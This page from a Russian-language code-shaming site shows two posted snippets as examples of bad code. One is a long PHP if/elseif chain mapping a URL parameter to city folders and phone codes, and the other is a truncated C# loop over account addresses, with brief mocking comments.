к всем ЯП-ам относится
"PHP" / Говнокод #431
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
if ($_GET[g] == 1) {$dir="g/irk/files/"; $dir_count="g/irk/banners/"; $city_for_files='Иркутск'; $city_for_files2='Иркутска'; $cityphonecode='3952'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 2) {$dir="g/novosib/files/"; $dir_count="g/novosib/banners/"; $city_for_files='Новосибирск'; $city_for_files2='Новосибирска'; $cityphonecode='383'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 3) {$dir="g/moscow/files/"; $dir_count="g/moscow/banners/"; $city_for_files='Москва'; $city_for_files2='Москвы'; $cityphonecode='495'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 4) {$dir="g/minsk/files/"; $dir_count="g/minsk/banners/"; $city_for_files='Минск'; $city_for_files2='Минска'; $cityphonecode='17'; $countryphonecode='Белорусии - 735';}
elseif ($_GET[g] == 5) {$dir="g/speterburg/files/"; $dir_count="g/speterburg/banners/"; $city_for_files='Санкт-Петербург'; $city_for_files2='Санкт-Петербурга'; $cityphonecode='812'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 6) {$dir="g/kiev/files/"; $dir_count="g/kiev/banners/"; $city_for_files='Киев'; $city_for_files2='Киева'; $cityphonecode='44'; $countryphonecode='Украины - 380';}
elseif ($_GET[g] == 7) {$dir="g/kemerovo/files/"; $dir_count="g/kemerovo/banners/"; $city_for_files='Кемерово'; $city_for_files2='Кемерово'; $cityphonecode='3842'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 8) {$dir="g/angarsk/files/"; $dir_count="g/angarsk/banners/"; $city_for_files='Ангарск'; $city_for_files2='Ангарска'; $cityphonecode='3951'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 9) {$dir="g/ijevsk/files/"; $dir_count="g/ijevsk/banners/"; $city_for_files='Ижевск'; $city_for_files2='Ижевска'; $cityphonecode='3412'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 10) {$dir="g/chudovo/files/"; $dir_count="g/chudovo/banners/"; $city_for_files='Чудово'; $city_for_files2='Чудово';}
elseif ($_GET[g] == 11) {$dir="g/cheremhovo/files/"; $dir_count="g/cheremhovo/banners/"; $city_for_files='Черемхово'; $city_for_files2='Черемхово'; $cityphonecode='39546'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 12) {$dir="g/nnovgorod/files/"; $dir_count="g/nnovgorod/banners/"; $city_for_files='Нижний Новгород'; $city_for_files2='Нижнего Новгорода'; $cityphonecode='8312'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 13) {$dir="g/kaliningrad/files/"; $dir_count="g/kaliningrad/banners/"; $city_for_files='Калининград'; $city_for_files2='Калининграда'; $cityphonecode='4012'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 14) {$dir="g/bratsk/files/"; $dir_count="g/bratsk/banners/"; $city_for_files='Братск'; $city_for_files2='Братска'; $cityphonecode='3953'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 15) {$dir="g/dzerjinsk/files/"; $dir_count="g/dzerjinsk/banners/"; $city_for_files='Дзержинск'; $city_for_files2='Дзержинска'; $cityphonecode='8313'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 16) {$dir="g/serov/files/"; $dir_count="g/serov/banners/"; $city_for_files='Серов'; $city_for_files2='Серова'; $cityphonecode='34315'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 17) {$dir="g/ustilimsk/files/"; $dir_count="g/ustilimsk/banners/"; $city_for_files='Усть-Илимск'; $city_for_files2='Усть-Илимска'; $cityphonecode='39535'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 18) {$dir="g/vladivostok/files/"; $dir_count="g/vladivostok/banners/"; $city_for_files='Владивосток'; $city_for_files2='Владивостока'; $cityphonecode='4232'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 19) {$dir="g/chita/files/"; $dir_count="g/chita/banners/"; $city_for_files='Чита'; $city_for_files2='Читы'; $cityphonecode='3022'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 20) {$dir="g/krasnoiarsk/files/"; $dir_count="g/krasnoiarsk/banners/"; $city_for_files='Красноярск'; $city_for_files2='Красноярска'; $cityphonecode='3912'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 21) {$dir="g/barnaul/files/"; $dir_count="g/barnaul/banners/"; $city_for_files='Барнаул'; $city_for_files2='Барнаула'; $cityphonecode='3852'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 22) {$dir="g/arhangelsk/files/"; $dir_count="g/arhangelsk/banners/"; $city_for_files='Архангельск'; $city_for_files2='Архангельска'; $cityphonecode='8182'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 23) {$dir="g/tomsk/files/"; $dir_count="g/tomsk/banners/"; $city_for_files='Томск'; $city_for_files2='Томска'; $cityphonecode='3822'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 24) {$dir="g/astrahan/files/"; $dir_count="g/astrahan/banners/"; $city_for_files='Астрахань'; $city_for_files2='Астрахани'; $cityphonecode='8512'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 25) {$dir="g/nahodka/files/"; $dir_count="g/nahodka/banners/"; $city_for_files='Находка'; $city_for_files2='Находки'; $cityphonecode='42366'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 26) {$dir="g/cherepovec/files/"; $dir_count="g/cherepovec/banners/"; $city_for_files='Череповец'; $city_for_files2='Череповца'; $cityphonecode='8202'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 27) {$dir="g/belgorod/files/"; $dir_count="g/belgorod/banners/"; $city_for_files='Белгород'; $city_for_files2='Белгорода'; $cityphonecode='4722'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 28) {$dir="g/briansk/files/"; $dir_count="g/briansk/banners/"; $city_for_files='Брянск'; $city_for_files2='Брянска'; $cityphonecode='4832'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 29) {$dir="g/vladimir/files/"; $dir_count="g/vladimir/banners/"; $city_for_files='Владимир'; $city_for_files2='Владимира'; $cityphonecode='4922'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 30) {$dir="g/volgograd/files/"; $dir_count="g/volgograd/banners/"; $city_for_files='Волгоград'; $city_for_files2='Волгограда'; $cityphonecode='8442'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 31) {$dir="g/vologda/files/"; $dir_count="g/vologda/banners/"; $city_for_files='Вологда'; $city_for_files2='Вологды'; $cityphonecode='8172'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 32) {$dir="g/voronej/files/"; $dir_count="g/voronej/banners/"; $city_for_files='Воронеж'; $city_for_files2='Воронежа'; $cityphonecode='4732'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 33) {$dir="g/ivanovo/files/"; $dir_count="g/ivanovo/banners/"; $city_for_files='Иваново'; $city_for_files2='Иваново'; $cityphonecode='4932'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 34) {$dir="g/kaluga/files/"; $dir_count="g/kaluga/banners/"; $city_for_files='Калуга'; $city_for_files2='Калуги'; $cityphonecode='48422'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 35) {$dir="g/kirov/files/"; $dir_count="g/kirov/banners/"; $city_for_files='Киров'; $city_for_files2='Кирова'; $cityphonecode='8332'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 36) {$dir="g/kostroma/files/"; $dir_count="g/kostroma/banners/"; $city_for_files='Кострома'; $city_for_files2='Костромы'; $cityphonecode='4942'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 37) {$dir="g/rostov/files/"; $dir_count="g/rostov/banners/"; $city_for_files='Ростов-на-Дону'; $city_for_files2='Ростова-на-Дону'; $cityphonecode='8632'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 38) {$dir="g/klaipeda/files/"; $dir_count="g/klaipida/banners/"; $city_for_files='Клайпеда'; $city_for_files2='Клайпеды'; $cityphonecode='46'; $countryphonecode='Литвы - 370';}
elseif ($_GET[g] == 39) {$dir="g/varshava/files/"; $dir_count="g/varshava/banners/"; $city_for_files='Варшава (Warszawa)'; $city_for_files2='Варшавы'; $cityphonecode='22'; $countryphonecode='Польши - 48';}
elseif ($_GET[g] == 40) {$dir="g/usoliesib/files/"; $dir_count="g/usoliesib/banners/"; $city_for_files='Усолье-Сибирское'; $city_for_files2='Усолья-Сибирского'; $cityphonecode='39543'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 41) {$dir="g/GERMANY/hannover/files/"; $dir_count="g/GERMANY/hannover/banners/"; $city_for_files='Ганновер'; $city_for_files2='Ганновера'; $cityphonecode=''; $countryphonecode='Германии -';}
elseif ($_GET[g] == 42) {$dir="g/habarovsk/files/"; $dir_count="g/habarovsk/banners/"; $city_for_files='Хабаровск'; $city_for_files2='Хабаровска'; $cityphonecode='4212'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 43) {$dir="g/lipeck/files/"; $dir_count="g/lipeck/banners/"; $city_for_files='Липецк'; $city_for_files2='Липецка'; $cityphonecode='4742'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 44) {$dir="g/yaroslavl/files/"; $dir_count="g/yaroslavl/banners/"; $city_for_files='Ярославль'; $city_for_files2='Ярославля'; $cityphonecode='4852'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 45) {$dir="g/riazan/files/"; $dir_count="g/riazan/banners/"; $city_for_files='Рязань'; $city_for_files2='Рязани'; $cityphonecode='4912'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 46) {$dir="g/ufa/files/"; $dir_count="g/ufa/banners/"; $city_for_files='Уфа'; $city_for_files2='Уфы'; $cityphonecode='347'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 47) {$dir="g/ekaterinburg/files/"; $dir_count="g/ekaterinburg/banners/"; $city_for_files='Екатеринбург'; $city_for_files2='Екатеринбурга'; $cityphonecode='343'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 48) {$dir="g/POLAND/poznan/files/"; $dir_count="g/POLAND/poznan/banners/"; $city_for_files='Познань'; $city_for_files2='Познани'; $cityphonecode='61'; $countryphonecode='Польши - 48';}
elseif ($_GET[g] == 49) {$dir="g/pereslavlzalesskii/files/"; $dir_count="g/pereslavlzalesskii/banners/"; $city_for_files='Переславль-Залесский'; $city_for_files2='Переславля-Залесского'; $cityphonecode='48535'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 50) {$dir="g/ulanude/files/"; $dir_count="g/ulanude/banners/"; $city_for_files='Улан-Удэ'; $city_for_files2='Улан-Удэ'; $cityphonecode='30122'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 51) {$dir="g/stavropol/files/"; $dir_count="g/stavropol/banners/"; $city_for_files='Ставрополь'; $city_for_files2='Ставрополя'; $cityphonecode='8652'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 52) {$dir="g/velikieluki/files/"; $dir_count="g/velikieluki/banners/"; $city_for_files='Великие Луки'; $city_for_files2='города Великие Луки'; $cityphonecode='81153'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 54) {$dir="g/harkov/files/"; $dir_count="g/harkov/banners/"; $city_for_files='Харьков'; $city_for_files2='Харькова'; $cityphonecode='057'; $countryphonecode='Украины - 380';}
elseif ($_GET[g] == 55) {$dir="g/tula/files/"; $dir_count="g/tula/banners/"; $city_for_files='Тула'; $city_for_files2='Тулы'; $cityphonecode='4872'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 56) {$dir="g/orel/files/"; $dir_count="g/orel/banners/"; $city_for_files='Орел'; $city_for_files2='Орла'; $cityphonecode='4862'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 57) {$dir="g/gomel/files/"; $dir_count="g/gomel/banners/"; $city_for_files='Гомель'; $city_for_files2='Гомеля'; $cityphonecode='232'; $countryphonecode='Белоруссии - 375';}
elseif ($_GET[g] == 58) {$dir="g/vorkuta/files/"; $dir_count="g/vorkuta/banners/"; $city_for_files='Воркута'; $city_for_files2='Воркуты'; $cityphonecode='82151'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 59) {$dir="g/dnepropetrovsk/files/"; $dir_count="g/dnepropetrovsk/banners/"; $city_for_files='Днепропетровск'; $city_for_files2='Днепропетровск'; $cityphonecode='056'; $countryphonecode='Украины - 380';}
elseif ($_GET[g] == 60) {$dir="g/dusseldorf/files/"; $dir_count="g/dusseldorf/banners/"; $city_for_files='Дюссельдорф'; $city_for_files2='Дюссельдорфа'; $cityphonecode='211'; $countryphonecode='Германии - 49';}
elseif ($_GET[g] == 61) {$dir="g/bonn/files/"; $dir_count="g/bonn/banners/"; $city_for_files='Бонн'; $city_for_files2='Бонна'; $cityphonecode='228'; $countryphonecode='Германии - 49';}
elseif ($_GET[g] == 62) {$dir="g/gamburg/files/"; $dir_count="g/gamburg/banners/"; $city_for_files='Гамбург'; $city_for_files2='Гамбурга'; $cityphonecode='40'; $countryphonecode='Германии - 49';}
elseif ($_GET[g] == 63) {$dir="g/zaporozhie/files/"; $dir_count="g/zaporozhie/banners/"; $city_for_files='Запорожье'; $city_for_files2='Запорожья'; $cityphonecode='61'; $countryphonecode='Украины - 380';}
elseif ($_GET[g] == 64) {$dir="g/voskresensk/files/"; $dir_count="g/voskresensk/banners/"; $city_for_files='Воскресенск'; $city_for_files2='Воскресенска'; $cityphonecode='496'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 65) {$dir="g/nijnitagil/files/"; $dir_count="g/nijnitagil/banners/"; $city_for_files='Нижний Тагил'; $city_for_files2='Нижнего Тагила'; $cityphonecode='3435'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 66) {$dir="g/samara/files/"; $dir_count="g/samara/banners/"; $city_for_files='Самара'; $city_for_files2='Самары'; $cityphonecode='846'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 67) {$dir="g/taganrog/files/"; $dir_count="g/taganrog/banners/"; $city_for_files='Таганрог'; $city_for_files2='Таганрога'; $cityphonecode='8634'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 68) {$dir="g/nurnberg/files/"; $dir_count="g/nurnberg/banners/"; $city_for_files='Нюрнберг'; $city_for_files2='Нюрнберга'; $cityphonecode='911'; $countryphonecode='Германии - 49';}
elseif ($_GET[g] == 69) {$dir="g/mariuopol/files/"; $dir_count="g/mariuopol/banners/"; $city_for_files='Мариуополь'; $city_for_files2='Мариуополя'; $cityphonecode='629'; $countryphonecode='Украины - 380';}
elseif ($_GET[g] == 70) {$dir="g/uzhnouralsk/files/"; $dir_count="g/uzhnouralsk/banners/"; $city_for_files='Южноуральск'; $city_for_files2='Южноуральска'; $cityphonecode='35134'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 73) {$dir="g/almati/files/"; $dir_count="g/almati/banners/"; $city_for_files='Алматы'; $city_for_files2='Алматы'; $cityphonecode='3272'; $countryphonecode='Казахстана - 7';}
elseif ($_GET[g] == 74) {$dir="g/saratov/files/"; $dir_count="g/saratov/banners/"; $city_for_files='Саратов'; $city_for_files2='Саратова'; $cityphonecode='8452'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 75) {$dir="g/kirovgrad/files/"; $dir_count="g/kirovgrad/banners/"; $city_for_files='Кировград'; $city_for_files2='Кировграда'; $cityphonecode='34357'; $countryphonecode='Украины - 380';}
elseif ($_GET[g] == 76) {$dir="g/orenburg/files/"; $dir_count="g/orenburg/banners/"; $city_for_files='Оренбург'; $city_for_files2='Оренбурга'; $cityphonecode='3532'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 77) {$dir="g/ulianovsk/files/"; $dir_count="g/ulianovsk/banners/"; $city_for_files='Ульяновск'; $city_for_files2='Ульяновска'; $cityphonecode='8422'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 78) {$dir="g/stupino/files/"; $dir_count="g/stupino/banners/"; $city_for_files='Ступино'; $city_for_files2='Ступино'; $cityphonecode='264'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 79) {$dir="g/abakan/files/"; $dir_count="g/abakan/banners/"; $city_for_files='Абакан'; $city_for_files2='Абакана'; $cityphonecode='39022'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 80) {$dir="g/ozersk/files/"; $dir_count="g/ozersk/banners/"; $city_for_files='Озерск'; $city_for_files2='Озерска'; $cityphonecode='35130'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 71) {$dir="g/tbilisi/files/"; $dir_count="g/tbilisi/banners/"; $city_for_files='Тбилиси'; $city_for_files2='Тбилиси'; $cityphonecode='32'; $countryphonecode='Грузии - 7';}
elseif ($_GET[g] == 72) {$dir="g/vilnus/files/"; $dir_count="g/vilnus/banners/"; $city_for_files='Вильнюс'; $city_for_files2='Вильнюса'; $cityphonecode='5'; $countryphonecode='Литвы - 370';}
elseif ($_GET[g] == 81) {$dir="g/kungur/files/"; $dir_count="g/kungur/banners/"; $city_for_files='Кунгур'; $city_for_files2='Кунгура'; $cityphonecode='34271'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 82) {$dir="g/sochi/files/"; $dir_count="g/sochi/banners/"; $city_for_files='Сочи'; $city_for_files2='Сочи'; $cityphonecode='8622'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 83) {$dir="g/magadan/files/"; $dir_count="g/magadan/banners/"; $city_for_files='Магадан'; $city_for_files2='Магадана'; $cityphonecode='4132'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 84) {$dir="g/gai/files/"; $dir_count="g/gai/banners/"; $city_for_files='Гай'; $city_for_files2='Гай'; $cityphonecode='35362'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 85) {$dir="g/kasimov/files/"; $dir_count="g/kasimov/banners/"; $city_for_files='Касимов'; $city_for_files2='Касимова'; $cityphonecode='49131'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 86) {$dir="g/berdsk/files/"; $dir_count="g/berdsk/banners/"; $city_for_files='Бердск'; $city_for_files2='Бердска'; $cityphonecode='38341'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 87) {$dir="g/armavir/files/"; $dir_count="g/armavir/banners/"; $city_for_files='Армавир'; $city_for_files2='Армавира'; $cityphonecode='86137'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 88) {$dir="g/staroskol/files/"; $dir_count="g/staroskol/banners/"; $city_for_files='Старый Оскол'; $city_for_files2='Старый Оскол'; $cityphonecode='4725'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 89) {$dir="g/salavat/files/"; $dir_count="g/salavat/banners/"; $city_for_files='Салават'; $city_for_files2='Салавата'; $cityphonecode='34763'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 90) {$dir="g/mendeleevsk/files/"; $dir_count="g/mendeleevsk/banners/"; $city_for_files='Менделеевск'; $city_for_files2='Менделеевска'; $cityphonecode='85549'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 91) {$dir="g/omsk/files/"; $dir_count="g/omsk/banners/"; $city_for_files='Омск'; $city_for_files2='Омска'; $cityphonecode='3812'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 92) {$dir="g/velikii novgorod/files/"; $dir_count="g/velikii novgorod/banners/"; $city_for_files='Великий Новгород'; $city_for_files2='Великого Новгорода'; $cityphonecode='8162'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 93) {$dir="g/astana/files/"; $dir_count="g/astana/banners/"; $city_for_files='Астана'; $city_for_files2='Астаны'; $cityphonecode='3172'; $countryphonecode='Казахстана - 7';}
elseif ($_GET[g] == 94) {$dir="g/yakutsk/files/"; $dir_count="g/yakutsk/banners/"; $city_for_files='Якутск'; $city_for_files2='Якутска'; $cityphonecode='4112'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 95) {$dir="g/kazan/files/"; $dir_count="g/kazan/banners/"; $city_for_files='Казань'; $city_for_files2='Казани'; $cityphonecode='843'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 96) {$dir="g/iokshar/files/"; $dir_count="g/iokshar/banners/"; $city_for_files='Йошкар-Ола'; $city_for_files2='Йошкар-Ола'; $cityphonecode='8362'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 97) {$dir="g/bogota/files/"; $dir_count="g/bogota/banners/"; $city_for_files='Богота'; $city_for_files2='Богота'; $cityphonecode='1'; $countryphonecode='Колумбии - 57';}
elseif ($_GET[g] == 98) {$dir="g/zlatoust/files/"; $dir_count="g/zlatoust/banners/"; $city_for_files='Златоуст'; $city_for_files2='Златоуста'; $cityphonecode='1'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 99) {$dir="g/kishtim/files/"; $dir_count="g/kishtim/banners/"; $city_for_files='Кыштым'; $city_for_files2='Кыштыма'; $cityphonecode='35151'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 100) {$dir="g/perm/files/"; $dir_count="g/perm/banners/"; $city_for_files='Пермь'; $city_for_files2='Перми'; $cityphonecode='342'; $countryphonecode='России - 7';}
elseif ($_GET[g] == 101) {$dir="g/chelyabinsk/files/"; $dir_count="g/chelyabinsk/banners/"; $city_for_files='Челябинск'; $city_for_files2='Челябинска'; $cityphonecode='342'; $countryphonecode='России - 7';}
это надо прочувствовать, поэтому вставляю полностью
Си диез / Говнокод #15253
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
private static List<XElement> processAccountWithAdress(List<Dictionary<string, object>> AccountWithAdress, OrganizationServiceProxy service)
{
foreach (Dictionary<string, object> item in AccountWithAdress)
{
try
{
var adressees = (from n in AccountWithAdress
where n["accountid"].ToString() == item["accountid"].ToString()
select n);
Вот такой код продают некоторые Киевские ИТ компании....
ахахахахха